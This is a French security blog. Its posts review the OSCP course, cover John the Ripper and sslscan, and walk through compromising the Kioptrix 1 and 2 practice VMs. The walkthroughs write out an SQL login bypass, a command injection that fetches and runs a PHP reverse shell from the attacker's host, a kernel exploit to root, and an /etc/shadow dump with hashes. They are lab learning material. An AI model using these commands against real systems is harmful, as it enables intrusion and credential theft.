mercredi 15 avril 2015

Scripts John The Ripper - Jumbo

Bon, cet article est un peu lame, surtout vu les exemples que je vais donner, mais l'idée c'est d'aborder la possibilité de récupérer le mot de passe d'un conteneur chiffré à l'aide de John the Ripper et ses outils (généralement fournis par le patch Jumbo).

Premièrement, ce que j'entends par conteneur, c'est un fichier dont le contenu est chiffré, et pour lequel un mot de passe est nécessaire pour obtenir/dériver une clé permettant le déchiffrement du contenu chiffré. Ici je vais présenter l'exemple de KeePassX et de TrueCrypt.

Il existe des outils certainement plus performants que John The Ripper pour ces algorithmes là. Je pense particulièrement à "truecrack" que je n'ai pas encore eu l'occasion de tester, mais qui est adapté pour la récupération du mot de passe d'un volume TrueCrypt. Mais mon propos ici est de montrer que le patch Jumbo de John The Ripper apporte un certain nombre de scripts très intéressants (ensuite, il est parfaitement possible d'utiliser oclHashCat pour casser le hash d'un volume TrueCrypt une fois qu'on l'a).

Je n'explique pas ici comment récupérer et compiler John the Ripper et son patch Jumbo (rtfm).

J'ai créé un volume TrueCrypt pour l'occasion, avec un mot de passe bateau: "toto", présent dans une de mes wordlists. Les algos utilisés sont ceux proposés par défaut par TrueCrypt :


On utilise ensuite le script "truecrypt_volume2john" fourni par John Jumbo :


Puis on passe le fichier résultant à John en spécifiant l'algo de hash utilisé (même si par défaut il utilise le bon), ainsi que le chemin vers notre wordlist bien fournie. Au bout de quelques secondes, on obtient notre mot de passe:


On peut faire la même chose avec KeePassX. J'ai créé une base KeePassX standard (pas de keyfile), puis le script keepass2john :


Là encore, on utilise John, et on a le mot de passe :


Bien évidemment, il existe un très grand nombre d'autres scripts, dont en vrac :
- 7z2john.py
- androidfde2john.py
- ecryptfs2john.py
- odf2john.py
- office2john.py
- pdf2john.py
- rar2john
...

mercredi 24 décembre 2014

Try Harder (review PWK/OSCP)

Ce week-end, j'ai (enfin) terminé mon cycle PWK en obtenant la certification OSCP, par conséquent j'en profite pour faire un post pour les francophones qui voudraient en savoir plus, ou qui ne connaissaient juste pas et cherchent une formation en sécurité informatique (ou alors pour les managers qui cherchent quelle formation payer à leurs employés, mais je pense qu'on peut rêver).

PWK (Pentesting With Kali)

C'est la formation de base d'Offensive-Security permettant de se familiariser avec le monde fabuleux de la sécurité informatique. Dans mon cas, je pense être déjà pas mal familiarisé avec ce domaine, dans la mesure où ça fait 15 ans que je m'y intéresse (et pas loin de 8 ans que je bosse dedans), mais j'aime bien l'idée de potasser sur des sujets sur lesquels je ne m'étais jamais trop attardé avec un objectif intéressant (la certification).

La formation

La formation en elle même est intéressante. On se retrouve avec un fichier .PDF de 350 pages accompagné d'un .rar contenant des vidéos reprenant les manipulations détaillées dans le pdf (enfin presque toutes). Le tout est watermarké avec nom/prénom/adresse, au cas où les documents fuiteraient sur internet. Vous pouvez retrouver le sommaire du cours sur le site Offensive-Security. Alors ne rêvez pas non plus, pas de techniques über eleet là dedans non plus, mais assez de contenu pour débuter dans le pentest réseau, exploiter des vulnérabilités avec metasploit ou utiliser des exploits de exploit-db (et les adapter quand ils en ont besoin), ou pivoter d'un réseau à l'autre via des tunnels et port forwards, en passant par l'exploitation de stack overflows (et juste ça) de base dans des conditions réelles (ASLR, DEP) de type appli avec au moins une dll sans ASLR sous Windows 7 avec DEP désactivé.

Lab

Jusque là, rien de trop différent d'une formation du SANS (en l'occurence, SANS 560) en mode e-learning. Sauf que là où une formation SANS se déroule en 5-6 jours (parfois avec un prof), la formation PWK se déroule généralement entièrement chez soi (enfin, là où on veut), et on a un accès VPN à un réseau comportant une cinquantaine de machines pouvant toutes être compromises, à la difficulté variable. Alors ici, pas de scénarios trop tordus comme dans un CTF : c'est une formation qui se veut pratique, basée sur des cas concrets et généralement inspirés de cas réels. En vrac, et en évitant de trop sploiler, voici quelques scénarios de machines pouvant être rootées sur ce lab :
- Du "remote root" (dans divers services)
- Des creds par défaut sur des applications diverses dont on peut tirer parti de diverses manières (ça va du ftp anonyme nous permettant de récupérer des infos intéressantes, à l'outil de ticketing qui tourne en admin et qui peut être détourné pour exécuter du code sur le système)
- Des applications web trouées (applications réelles, dont du wordpress)
- Des fausses pistes (injection SQL un peu tricky à exploiter sur une machine vulnérable à un "remote root" du système)
- La nécessité de fouiller les machines permettant d'obtenir des pistes (passwords.txt, analyse de logs http à la recherche de postes clients à compromettre, ...)
- Etc.

J'insiste sur le fait que toutes les machines sont rootables. Si on bloque, c'est qu'il nous manque une information, et qu'on a pas fait suffisamment de "reconnaissance" ("Try Harder").

Le réseau accessible via le VPN est un réseau à plusieurs niveaux. Sur le site d'offsec on retrouve un schéma réseau qui ressemble à celui auquel on a accès :
http://www.offensive-security.com/wp-content/uploads/2012/01/offsec-playground-thumb-21.jpg

- Le "starting network" qui est le réseau "public" accessible directement depuis le VPN;
- Le "starfleet network" qui correspond à un réseau "dev", accessible depuis une poignée de machines du réseau "public";
- Le "middle earth network" correspondant au réseau "IT", accessible depuis une poignée de machines du réseau "public";
- Le "grey network" correspondant au réseau "admin", accessible uniquement en passant par certaines machines du réseau "IT"

Le but de tout ça étant de se familiariser avec la notion de "rebond", car même si lors de pentests internes, on se retrouve trèèèèès souvent avec des réseaux "à plat" ou avec des erreurs de configuration qui permettent du "any to any", il est intéressant de pouvoir s'entrainer pour les quelques cas où ça ne sera pas le cas.

On dispose d'un temps allant de 1 à 3 mois pour se balader sur le réseau (le bundle 3 mois + passage de certification revient à environ 850 euros, ce qui n'est pas excessif, à comparer à 4000 euros pour une formation du SANS, surtout pour une certification qui commence doucement à être reconnue).

On doit documenter la méthode de compromission des machines dans un rapport, en essayant de fournir le plus de détails possibles (screenshots, copies de term, exploits, etc). A titre personnel, je me suis organisé en prenant des notes et des screenshots à chaque étape. Je me retrouve à la fin avec un rapport "de lab" d'une centaine de pages.

Exam / challenge

Vient ensuite l'épreuve ultime: passer l'exam OSCP. Il est un peu spécial, et généralement ça impressionne les gens comme la "piscine epitech", dans le sens où il est annoncé comme un examen de 2x24 heures consécutives. A noter que le staff d'offensive security y fait référence comme le "challenge OSCP".

- 24 heures d'examen à proprement parler où on accède à un réseau comprenant 5 serveurs rapportant entre 10 et 25 points (10, 2x20 et 2x25), totalisant 100 points (70 sont requis pour obtenir la certification). Seule une partie des points est obtenue en cas de compromission partielle (on a tous les points si on lit un fichier accessible au root/admin, sinon un autre fichier, accessible avec un compte non-privilégié rapporte qu'une partie des points en gros)
- 24 heures pour rédiger un rapport de pentest, en anglais, relatif à ces 5 machines.

Si on se retrouve avec un peu moins de 70 points, le rapport des 3 mois de "lab" sera évalué par le staff d'offensive-security, et en fonction de sa qualité, ils accorderont (ou pas) les quelques points manquants.

Il existe un certain nombre de restrictions durant le "challenge" :
- l'utilisation de Metasploit est fortement réglementée. Concrètement il est possible de l'utiliser pour compromettre UNE machine, parmi TROIS sur lesquelles c'est permis (si ensuite il n'existe qu'un exploit Metasploit pour compromettre une machine, c'est que c'est ici qu'il sera le plus judicieux de l'utiliser). Cela est valable aussi bien pour les exploits en remote, que pour les élévations de privilèges locales au travers de Meterpreter.
- l'utilisation de Meterpreter est autorisée en tant que payload/outil de prise de contrôle à distance, mais pas les fonctions telles que "getsystem".
- les scanners de vulnérabilités un peu bourrins à la Nessus/OpenVAS, NeXpose, w3af, ... ainsi que les outils un peu trop automatisés (genre sqlmap) ne sont pas non plus autorisés. En revanche, il est parfaitement possible d'utiliser nmap et tous ses plugins, ainsi que burp.

Le pool de machines choisies est assez hétérogène, et il y a même une machine disposant d'un logiciel pour lequel il existe une vulnérabilité publique (un stack overflow basique exploitable à distance) nécessitant le développement d'un exploit en partant d'un poc provoquant un crash (la génération du shellcode ainsi que la recherche d'un eip pointant sur ce dernier étant donc à la charge du challenger).

Evidemment, tout doit être documenté dans un rapport "d'exam" à remettre au staff d'offsec par e-mail, avec des screenshots prouvant la compromission des machines (en gros un id/ifconfig/cat flag.txt ou son équivalent Windows).

Ensuite on reçoit un mail au bout de quelques jours, avec le verdict. On ne connait pas le nombre de points qu'on a obtenu, on sait juste si on passe ou pas. J'ai envoyé mon rapport Lundi dans la journée, mardi à 15h j'avais une réponse.

Quoi étudier en attendant ?

J'anticipe, au niveau de la littérature recommandée avant de s'engager là dedans :
- Le support de cours PWK fourni par Offensive-Security
De plus, la connaissance préalable d'au moins un langage de programmation est fortement recommandée, ne serait-ce que pour être capable de comprendre comment modifier un exploit qui ne fonctionne pas (avec un bonus pour le C dans le cas d'exploits de 1865 qui ne compilent plus sur un gcc récent).

Concernant l'investissement personnel...il faut être prêt à sacrifier quelques soirées, mais pas toutes. Cela dit, passer une dizaine d'heures par semaine sur cette formation n'est pas insurmontable. Tout dépend de là où on part, et de l'objectif que l'on se fixe. Pour l'exam, 24 heures c'est largement suffisant, n'imaginez pas qu'il faille préparer un stock de redbull. Il est faisable en beaucoup moins.

Conclusion

Globalement, si d'un point de vue technique je n'ai pas appris grand chose, ça m'a au moins motivé à persévérer (le fameux "try harder"), dans la mesure où chaque machine est pwnable. Si on y arrive pas, c'est qu'il nous manque une info pour continuer. Ca force donc à élargir le champ de recherche, ce qui sera forcément bénéfique dans le cadre de véritables pentests.

vendredi 19 décembre 2014

Support de SSLv2 dans sslscan (sous Linux)

Sslscan c'est beau et magique, mais depuis que les distributions GNU/Linux packagent des versions d'OpenSSL sans support sslv2, une partie des fonctionnalités de sslscan ne fonctionnent plus.
Evidemment, Internet regorge de tutos expliquant comment recompiler et packager la libssl sous diverses distributions Linux de warlordz (j'ai rien contre Kali, au contraire) pour ajouter le support sslv2 et recompiler sslscan.
Sur mon laptop, je n'utilise pas Kali (enfin si, dans une VM), j'ai juste un dossier dans lequel j'ai tous mes outils compilés par mes soins, et généralement plus ou moins up2date à la dernière version du repository git/svn/etc. Voici comment je me suis démerdé. L'avantage c'est que le reste de mes applis n'utilise pas une version de la libssl supportant SSLv2.

$ cd bordel/
$ wget https://www.openssl.org/source/openssl-1.0.1j.tar.gz
$ tar -xzf openssl-1.0.1j.tar.gz
$ cd openssl-1.0.1j/
$ ./config
$ make
$ cd ..
$ git clone https://github.com/rbsec/sslscan.git
$ cd sslscan/
$ gcc -o sslscan sslscan.c ../openssl-1.0.1j/libssl.a ../openssl-1.0.1j/libcrypto.a -I ../openssl-1.0.1j/include/ -DVERSION=\"1.9.8-rbsec\" -ldl

Ouais bon le coup du -DVERSION c'est parce que le Makefile l'ajoute à la compilation, et vu qu'ici on compile direct comme des gorets ...
Le reste c'est juste la compilation de la dernière version d'OpenSSL (en lib statique, le comportement par défaut) et la compilation en linkant sslscan avec les versions statiques de la libssl et la libcrypto. Comme ça pas de dépendance à cette libssl (sinon on peut aussi compiler OpenSSL en lib dynamique, suffit de "./config shared", compiler avec les LDFLAGS qui vont bien et modifier le LD_LIBRARY_PATH à chaque utilisation de sslscan ... assez lourd quoi).

Ensuite on a plus qu'à lancer notre sslscan :

meik@eleet ~bordel/sslscan $ ./sslscan --ssl2 xxx.xxx.xxx.xxx:443
Version: 1.9.8-rbsec
OpenSSL 1.0.1j 15 Oct 2014

Testing SSL server xxx.xxx.xxx.xxx on port 443

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
All TLS protocols disabled, cannot check for heartbleed.

  Supported Server Cipher(s):
Accepted  SSLv2    128 bits  RC4-MD5
Accepted  SSLv2    112 bits  DES-CBC3-MD5

  Preferred Server Cipher(s):
SSLv2    128 bits  RC4-MD5

  SSL Certificate:
Signature Algorithm: sha1WithRSAEncryption
RSA Key Strength: 2048

Maintenant plus d'excuses.

jeudi 12 juin 2014

Walkthrough Kioptrix 2

Après avoir rushé la première VM Kioptrix, je me suis mis à la seconde. Mon approche n'est pas spécialement inédite, mais j'essaie d'expliquer mon raisonnement à chaque fois.

Comme la précédente, dans mon vmware je l'ai configurée pour être sur vmnet8. Je scanne donc la plage d'adresses IP accessibles sur mon interface vmnet8 et très vite je tombe sur :

Nmap scan report for 192.168.115.131
Host is up (0.0017s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)


Un coup d'oeil rapide me dit que je n'aurai pas grand chose d'exploitable directement, en gardant de côté les vulns Apache, mais je me rappelle pas de vulnérabilités permettant l'exec de code arbitraire ces dernières années. Je vérifierai. Le reste, bien qu'un peu ancien ne me semble pas non plus exploitable directement.

Je regarde donc ce qui tourne sur le serveur http, j'obtiens une page de login. Je teste les grands classiques admin/admin & co puis j'arrive aux traditionnels auth bypass sql injection, bingo avec "admin" / ' or '1' = '1 (une liste sympathique à cet effet est disponible ici) et j'arrive sur une console d'admin un peu rustique me demandant une ip à pinger. 


Là encore, habitué des interfaces web foireuses, par réflexe je mets un 127.0.0.1;id et j'obtiens ce que j'attends :

127.0.0.1;id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.105 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.036/0.062/0.105/0.031 ms, pipe 2
uid=48(apache) gid=48(apache) groups=48(apache)


Pour gagner du temps je me génère un meterpreter en php avec msfpayload :
$ ./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.115.1 R > /tmp/shell.php
Je vire le petit '#' au début pour ne pas me faire niquer, et je prépare un handler sur ma machine pour réceptionner la connexion le moment venu :

$ ./msfcli exploit/multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.115.1 E
[*] Initializing modules...
[*] Processing XXX/msfconsole.rc for ERB directives.
resource (XXX)> db_connect -y XXX/config/database.yml.meik
[*] Rebuilding the module cache in the background...
resource (XXX/msfconsole.rc)> workspace -a MeiK
[*] Added workspace: XXX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.115.1
[*] Started reverse handler on 192.168.115.1:4444
[*] Starting the payload handler...


On va donc récupérer le webshell depuis l'interface web du site foireux et l'exécuter :

Je lance un netcat pour servir le fichier :
nc -l -p 8080 < /tmp/shell.php

Et sur l'interface web je saisis cette commande :
127.0.0.1;wget 192.168.115.1:8080 -O /tmp/shell.php; php -f /tmp/shell.php

Qui file un paramètre au ping (en vrai on s'en fout), et exécute un wget pour récupérer le shell afin de le sauvegarder dans /tmp/shell.php et exécute ce fichier à l'aide de l'interpréteur php disponible sur la machine.

Pendant ce temps, sur un autre terminal :

[*] Sending stage (39848 bytes) to 192.168.115.131
[*] Meterpreter session 1 opened (192.168.115.1:4444 -> 192.168.115.131:32779) at 2014-06-11 23:58:50 +0200

meterpreter >


Comme vu au dessus, on a pas de super privilèges :
meterpreter > getuid
Server username: apache (48)


On va donc tenter de passer root. Pour ça, on regarde la version du kernel, soit à l'ancienne avec uname -sr, soit on se rappelle qu'on est en 2014 et que meterpreter intègre "sysinfo" :

meterpreter > sysinfo
Computer    : kioptrix.level2
OS          : Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686
Meterpreter : php/php


On utilise donc le script "Linux Exploit Suggester" en lui disant qu'on veut un exploit kernel 2.6.9 :

$ perl Linux_Exploit_Suggester.pl -k 2.6.9

Kernel local: 2.6.9

Searching among 65 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] exp.sh
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] krad
[+] krad3
   Source: http://exploit-db.com/exploits/1397
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] py2
[+] sock_sendpage
   Alt: wunderbar_emporium    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9435
[+] sock_sendpage2
   Alt: proto_ops    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9436
[+] udp_sendmsg_32bit
   CVE-2009-2698
   Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/


Certains d'entre eux ont un peu trop d'exigences, on veut du rapide. On récupère donc le sploit correspondant à la CVE-2009-2698, on le compile et on l'exécute :

cd /tmp
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c

--23:20:49--  http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
           => `36108.c'
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]

    0K ..                                                    100%  394.37 KB/s

23:20:50 (394.37 KB/s) - `36108.c' saved [2507/2507]

gcc 36108.c -o sploit
./sploit

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# 

Walkthrough Kioptrix 1

Pour faire passer le temps, il m'arrive par moments de lancer une VM volontairement trouée à compromettre. A ce sujet, il en existe une très bonne liste sur le Poster Ultime du Pentest du SANS. Pour me changer les idées, j'ai lancé la première VM "Kioptrix" ce soir (que je connaissais de nom, mais j'étais persuadé jusqu'à ce soir qu'il s'agissait d'une n-ième distribution Linux orientée pentest comme BackTrack/Kali, Pentoo ou BlackArch).

Alors je la lance une première fois dans mon VMware, et je voyage d'au moins 10 ans dans le passé. Je n'avais plus vu d'écran de boot Linux tel que celui-ci depuis ... ben 10 ans. Je tombe sur le message de bienvenue (/etc/issue pour ceux qui n'ont jamais eu l'occasion de toucher à ce fichier) me disant en substance que le but est de passer root. Challenge Accepted. D'autant plus que sur un système ayant l'air d'avoir au moins 10 ans, ça ne sera franchement pas difficile.

Je relance donc la VM histoire de faire ça proprement et le documenter. Surtout, je fixe l'interface réseau sur laquelle le système va apparaître. Je choisis "vmnet8".

Je ne connais pas son adresse IP, mais vu que j'ai set la kioptrix sur l'interface vmnet8, j'ai fat un "ifconfig vmnet8", regardé mon ip et le masque réseau correspondant puis j'ai scanné la rangée d'adresses IP correspondant avec nmap en mode service scan (-sV) pour avoir les bannières.

J'obtiens les services suivants :
192.168.115.130  111   tcp    rpcbind      open   2 RPC #100000

192.168.115.130  80    tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  22    tcp    ssh          open   OpenSSH 2.9p2 protocol 1.99
192.168.115.130  139   tcp    netbios-ssn  open   Samba smbd workgroup: MYGROUP
192.168.115.130  443   tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  1024  tcp    status       open   1 RPC #100024

A partir de là, j'envisage les scénarios suivants :
- vulnérabilités affectant Apache
- vulnérabilités affectant Samba
- vulnérabilités affectant les services RPC (par contre eux je les connais assez mal)
- vulnérabilités affectant d'éventuelles applications web

Je regarde quand même ce qui tourne sur les ports 80/443 en lançant un nikto, qui ne me relève rien d'intéressant. Je peux aussi lancer un DirBuster, mais la perspective de lancer un outil en Java qui va flinguer ma batterie de laptop ne me réjouit pas (je vais ajouter "recoder DirBuster" sur ma TODO list, à côté de "voir si skipfish fait l'affaire pour remplacer DirBuster").

Je regarde donc la liste des exploits disponibles dans metasploit (ouais, c'est de la triche mais on est en 2014) visant Apache, mais il y en a un peu trop, et à peu près aucun ne me semble réellement pertinent (surtout du win32 on va dire). Je me dis que je regarderai plus tard, mais la version d'Apache me rappelle un exploit qui date un peu (openssl-too-open) qui avait fait de gros ravages il y a quelques années (2003 de mémoire - à l'époque il était fréquent de crawler Netcraft pour trouver des serveurs vulnérables à ce truc, shodan n'existait pas encore), mais c'est le mod_ssl qui était surtout concerné. Je regarderai plus tard si rien d'autre ne fonctionne.

Je regarde donc les vulnérabilités Samba via un "search samba" dans metasploit. Il y en a un qui sort du lot :
exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)

Je l'essaie avec un shellcode de type bind_tcp :

msf exploit(trans2open) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf exploit(trans2open) > exploit

[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.115.130
[*] Command shell session 2 opened (192.168.115.1:53449 -> 192.168.115.130:4444) at 2014-06-02 23:00:14 +0200

ls
id

uid=0(root) gid=0(root) groups=99(nobody)

Hop gagné, root. Je récupère le fichier shadow pour le cracker :

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::


Je passe le root à oclHashcat avec la wordlist "rockyou" mais sans succès. Je lance donc un bruteforce (-m 500 pour le format de mots de passe (FreeBSD-MD5), et -a 3 pour le mode bruteforce). A l'heure où je rédige ces lignes, le cassage est encore en cours, mais je l'arrêterai à 8 caractères (oclHashcat m'indique 10 heures restantes pour les mots de passe de 7 caractères). EDIT: je l'ai laissé tourner 1 semaine, sans résultats. Il m'annonçait 2 semaines pour couvrir les mots de passe de 8 caractères avec le charset standard.

vendredi 23 mai 2014

Pidgin & Forensics

/!\ Attention, article foireux. /!\

Dans un post précédent qui critiquait une non-info comme quoi Skype gardait en local des données personnelles en clair, je faisais allusion à des données similaires stockées par un autre produit de messagerie instantanée : Pidgin (attention, je ne compare pas les deux non plus).

Je ne vais pas faire un historique du projet, Wikipedia fait très bien l'affaire, mais en gros, Pidgin utilise la bibliothèque "libpurple", qui permet de gérer tout un tas de protocoles de messagerie, allant d'IRC à ICQ en passant par XMPP (ouais, Pidgin c'est juste un gros front-end en fait...). C'est donc pour cette raison qu'on ne trouvera pas de dossier .pidgin dans le "home" d'un utilisateur de pidgin. En revanche, on trouvera un ".purple", qui contient plus ou moins ces entrées :

meik@blabla:~/.purple$ ls -l
total 132
-rw-r--r-- 1 meik meik  6175 mai    7 21:20 accels
-rw------- 1 meik meik 12145 mai    7 20:06 accounts.xml
-rw------- 1 meik meik 47114 mai    7 21:46 blist.xml
drwx------ 3 meik meik  4096 juil.  1  2013 certificates
drwx------ 2 meik meik  4096 mai    7 21:43 icons
drwx------ 3 meik meik  4096 juil.  1  2013 logs
-rw------- 1 meik meik 26384 mai    7 21:00 prefs.xml
drwx------ 2 meik meik  4096 juil.  1  2013 smileys
-rw------- 1 meik meik   401 juil.  1  2013 status.xml
-rw------- 1 meik meik 14581 avril  2 11:33 xmpp-caps.xml

Je ne me suis pas attardé trop longtemps sur Skype (je sais juste que sur une session Skype ouverte depuis plusieurs mois sur un PC dont l'uptime est de 297 jours, et qui a été déconnecté d'Internet un certain nombre de fois, et dont le mot de passe de mon nom d'utilisateur Skype a été changé sans que ce changement ne soit répercuté sur le PC en question, Skype arrive toujours à s'authentifier...), mais il ne me semble pas que ce dernier stocke un quelconque mot de passe quelque part, ou du moins, pas en clair (ensuite, si quelqu'un sait, ça m'intéresse). Je suppose qu'il stocke plutot un token quelque part dans ~/.Skype (ensuite, en cas de changement du mot de passe, ce dernier devrait alors être révoqué côté serveur, afin d'empêcher qu'une session authentifiée avant changement de mot de passe ne puisse se réauthentifier avec le même token sans avoir à fournir une preuve de la connaissance du nouveau mot de passe...m'enfin un truc m'échappe peut-être). Bon, avec toutes ces conneries je me perds, je voulais juste dire que le fichier "accounts.xml" de Pidgin contient...des identifiants...en clair !

<account version='1.0'>
<account>
<protocol>prpl-jabber</protocol>
<name>moi@server/</name>
<password>[censuré]</password>

On peut ensuite s'amuser à consulter le contenu du dossier ~/.purple/logs/ qui contient un sous-dossier par type de compte (jabber, irc, etc), et encore une sous-arborescence par compte et ensuite par contact à qui l'on a parlé. Je ne vais pas reproduire ici d'extrait de conversation, mais voilà donc le genre d'infos qu'il est possible de récupérer.

Alors ensuite je veux bien que Skype ça soit le mal, mais si les logiciels libres font pareil, il y a bien une raison (c'est ce que je disais dans le post précédent : si un pirate prend le contrôle du PC de sa victime, il peut faire la même chose que lui, y compris lire ses logs; car même si ce dernier les chiffre, lorsqu'il souhaitera y accéder pour retrouver un numéro de téléphone super important, les données seront en clair à un endroit dans la mémoire de la machine, accessible par l'utilisateur ET le pirate).

Protip: Nokia N900 et kb_lock défectueux (écran qui clignote)

Il y a quelques semaines, mon bon vieux Nokia n900 (recyclé en "pwnphone") a commencé à défaillir. En gros, après un délai variable écoulé après le démarrage du téléphone, l'écran se mettait à "clignoter" (comprendre: s'allumer et s'éteindre plusieurs fois), et évidemment, le clavier semblait ne plus trop réagir au moment où l'écran s'éteignait. Ce qui est assez ennuyeux, vous en conviendrez aisément, lorsqu'on est dans un terminal pour geeker.

Fort heureusement, l'OS tournant sur ce téléphone (qui n'a pas été mis à jour depuis super longtemps) est un Linux (la distribution est Maemo), ce qui facilite un peu la tache pour essayer de comprendre ce qui se passe, et éventuellement régler le problème. La commande dmesg m'a aidé. En effet, entre deux blinks de mon écran, j'ai pu afficher le contenu du dmesg pour me rendre compte qu'il était rempli d'événements de ce type :
"kb_lock (GPIO 113) is now open"
"kb_lock (GPIO 113) is now closed"
[...]
En tout, une bonne dizaine par seconde. Une mauvaise impression m'a mené à penser que c'était l'écran coulissant qui était à l'origine de ce problème (me menant à démonter l'écran et son connecteur, résolvant le problème le temps d'une soirée ...), mais il s'agit de la GPIO 71 !
Quelques recherches m'ont mené au switch de verrouillage clavier situé sur le côté droit. C'est l'activation de ce dernier qui génère des événements sur la GPIO 113. Dans la mesure où je n'utilise pas ce switch lorsque l'écran clignote (faudrait être sacrément rapide pour l'activer une dizaine de fois en une poignée de secondes...), j'en déduis qu'il est défectueux (le n900 n'est plus produit par Nokia depuis 2009, je vous laisse faire le calcul de l'age minimum du téléphone...).

Fort heureusement, il est possible de désactiver, au niveau de l'OS, la prise en compte des événements générés par ce switch (le kb_lock). Il suffit de positionner à 1 le fichier déterminant la désactivation du kb_lock : /sys/devices/platform/gpio-switch/kb_lock/disable

# echo 1 > /sys/devices/platform/gpio-switch/kb_lock/disable

Evidemment, pour rendre cette manipulation persistante, il est nécessaire d'ajouter cette ligne dans un script qui sera exécuté au démarrage...